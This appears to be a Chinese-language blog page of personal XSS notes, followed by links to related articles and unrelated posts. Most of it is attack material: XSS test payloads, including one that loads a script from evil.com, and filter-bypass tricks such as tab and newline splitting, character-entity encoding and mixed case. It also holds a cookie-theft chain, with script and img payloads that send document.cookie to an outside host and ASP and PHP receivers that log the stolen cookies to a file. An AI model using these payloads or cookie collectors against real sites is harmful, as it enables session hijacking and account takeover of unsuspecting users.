XSS测试代码:

<img src="javascript:alert(/xss/)">

<script src=http://evil.com/xss.js></script>

</textarea><script>alert(/xss/)</script>

"><script>alert(/xss/)</script>

</script><script>alert(/xss/)</script>

绕过XSS-Filter

如果用户能随意插入<>标签,就有可能通过script标签任意插入恶意代码,如:

<script>alert(/xss/)</script>

因此,过滤的话,会优先考虑过滤<script>标签

一:利用HTML标签值执行XSS

  javascript:[code]伪协议形式,需web浏览器支持,如IE6。如:

  <img src="javascript:alert(/xss/)">

二:空格回车tab

  当仅过滤javascript等关键字时,

  利用tab进行绕过限制。

  <img src="java  script:alert(/xss/)">  (中间间隔为tab键)

  利用回车键进行绕过限制。

  <img src="javas

  cript:alert(/xss/)">

三:对标签属性值进行转码

  <img src="javascript:alert(/xss/)">转换为<img src="javascrip&#116&#58alert(/xss/)">     ASCII码转换

四:扰乱过滤规则

  关键字大小写,

  <img SRC="javascript:alert(/xss/)">

  或

  <imG Src="javascript:alert(/xss/)">

  单引号

  <img src='javascript:alert(/xss/)'>

  不使用引号

  <img src=javascript:alert(/xss/)>

  及其/隔开

  <img/src="javascript:alert(/xss/)">

  

 cookie会话攻击原理剖析

获取cookie:

  <script>document.location="http://www.test.com/cookie.asp?cookie='+document.cookie"</script>

  <img src="http://www.test.com/cookie.asp?cookie='+document.cookie"></img>

远程服务器上接收cookie文件,代码如下:

ASP版本:

<%

msg=Request.ServerVariables("QUERY_STRING")

testfile=Server.MapPath("cookie.txt")

set fs=server.CreateObject("scripting.filesystemobject")

set thisfile=fs.OpenTextFile(testfile,8,True,0)

thisfile.Writeline(""&msg& "")

thisfile.close

set fs =nothing

%>

PHP版本:

<?php

$cookie=$_GET['cookie'];

$log=fopen("cookie.txt","a");

fwrite($log,$cookie ."\n");

fclose($log);

?>

XSS笔记的更多相关文章

  1. 前端Hack之XSS攻击个人学习笔记

    简单概述 **        此篇系本人两周来学习XSS的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程中所写,如有任 ...

  2. vue—你必须知道的 js数据类型 前端学习 CSS 居中 事件委托和this 让js调试更简单—console AMD && CMD 模式识别课程笔记(一) web攻击 web安全之XSS JSONP && CORS css 定位 react小结

    vue—你必须知道的   目录 更多总结 猛戳这里 属性与方法 语法 计算属性 特殊属性 vue 样式绑定 vue事件处理器 表单控件绑定 父子组件通信 过渡效果 vue经验总结 javascript ...

  3. Web安全学习笔记 XSS上

    Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...

  4. Cross-site Scripting (XSS) 阅读笔记

    本文源自 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 通过阅读和翻译,并按照自己的理解,整理成如下文档. 概述 XSS ...

  5. XSS学习笔记(四)-漏洞利用全过程

    <script type="text/javascript" reload="1">setTimeout("window.location ...

  6. XSS学习笔记(一个)-点击劫持

    所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的.一般都是获取用户的C ...

  7. XSS学习笔记(五)-XSS防御

    如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...

  8. 【转载】XSS学习笔记

    XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...

  9. XSS Challenges闯关笔记

    前言 做xss做疯了再来一个. 地址:https://xss-quiz.int21h.jp/ ,这个貌似是日本的一个安全研究员yamagata21做的. 做到第九关就跪了,而总共有二十关.一半都还没有 ...

随机推荐

  1. 面试汇总——说一下CSS盒模型

    本文是面试汇总分支——说一下CSS盒模型. 基本概念:W3C标准盒模型和IE盒模型 CSS如何设置这两种模型 JS如何获取盒模型对应的宽和高 根据盒模型解释边距重叠 BFC(边距重叠解决方案) 一. ...

  2. 正确清理binlog日志

    摘要: MySQL中的binlog日志记录了数据库中数据的变动,便于对数据的基于时间点和基于位置的恢复,但是binlog也会日渐增大,占用很大的磁盘空间,因此,要对binlog使用正确安全的方法清理掉 ...

  3. koa中间件机制详解

    转自:https://cnodejs.org/topic/58fd8ec7523b9d0956dad945 koa是由express原班人马打造的一个更小.更富有表现力.更健壮的web框架. 在我眼中 ...

  4. 解决Warning Couldn't flush user prefs: java.util.prefs.BackingStoreException: Couldn't get file lock.

    系统:Ubuntu 16.04 LTS 环境:vscode+java extension pack打开了一个gradle的java项目:另外,用一个terminal启动了groovysh 报错: gr ...

  5. [C++]Qt 如何处理密集型耗时的事情(频繁调用QApplication::processEvents)

    https://www.cnblogs.com/senior-engineer/p/5598133.html https://www.cnblogs.com/findumars/p/5607683.h ...

  6. 进一步聊聊weight initialization

    深度学习模型训练的过程本质是对weight(即参数W)进行更新,这需要每个参数有相应的初始值. 有人可能会说:"参数初始化有什么难点?直接将所有weight初始化为0或者初始化为随机数!&q ...

  7. centos7配置固定ip

    查看本机gateway netstat -rn (以0.0.0.0开始的行的gateway是默认网关) vi /etc/sysconfig/network-scripts/ifcfg-enp0s3 T ...

  8. diff ->> acl & prefix list

    1,ACL可以用于数据层面也可以用于控制层面,prefix-list只能用于控制层面2,ACL抓的是定长掩码的子网,而prefix-list可以抓取一个前缀下的所有掩码长度即子网.比如说ACL中的pe ...

  9. maven and jwt

    以目前浅薄的理解,jwt就是一种加密token的手段,这个token也只有自己能解开,如果客户端以cookie存这个token,可能会存在cookie被窃取的情况. 另外,jwt这中加密方式因为有过期 ...

  10. springboot-multisource

    项目中经常会出现需要同时连接两个数据源的情况,这里基于MyBatis来配置两个数据源,并演示如何切换不同的数据源. 通过自定义注解+AOP的方式,来简化这种数据源的切换操作. <properti ...